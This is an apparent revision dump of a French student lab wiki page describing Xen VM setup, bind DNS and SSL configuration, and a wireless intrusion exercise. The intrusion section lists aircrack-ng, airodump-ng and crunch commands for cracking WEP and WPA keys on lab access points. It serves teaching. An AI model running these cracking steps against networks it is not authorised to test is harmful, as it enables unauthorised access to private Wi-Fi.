airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=57035TP sysres IMA5 2021/2022 G112021-12-13T16:25:19Z<p>Cgodet1 : /* Déploiement site */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés. On peut mettre le fichier .key dans le repertoire /etc/ssl/private.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/.<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=57014TP sysres IMA5 2021/2022 G112021-12-13T15:55:33Z<p>Cgodet1 : /* Certificat SSL */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE IN {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On teste que notre configuration est correcte :<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
host -t any ns.corona59.club localhost<br />
ns1 IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
Puis on execute <br />
tail -50 /var/log/daemon.log<br />
On obtient : <br />
Dec 13 10:30:14 Corona named[3027]: client @0x7f684c01f298 89.149.202.122#443 (sl): query (cache) 'sl/ANY/IN' denied<br />
Normalement, on s'attend pas à ça, mais bon, dans la vie on a pas toujours ce que l'on veut alors on s'en contentera.<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés. On peut mettre le fichier .key dans le repertoire /etc/ssl/private.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/.<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=56995TP sysres IMA5 2021/2022 G112021-12-13T15:28:37Z<p>Cgodet1 : /* Déploiement site */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE IN {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On teste que notre configuration est correcte :<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
host -t any ns.corona59.club localhost<br />
ns1 IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
Puis on execute <br />
tail -50 /var/log/daemon.log<br />
On obtient : <br />
Dec 13 10:30:14 Corona named[3027]: client @0x7f684c01f298 89.149.202.122#443 (sl): query (cache) 'sl/ANY/IN' denied<br />
Normalement, on s'attend pas à ça, mais bon, dans la vie on a pas toujours ce que l'on veut alors on s'en contentera.<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=56993TP sysres IMA5 2021/2022 G112021-12-13T15:28:18Z<p>Cgodet1 : /* Déploiement site */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
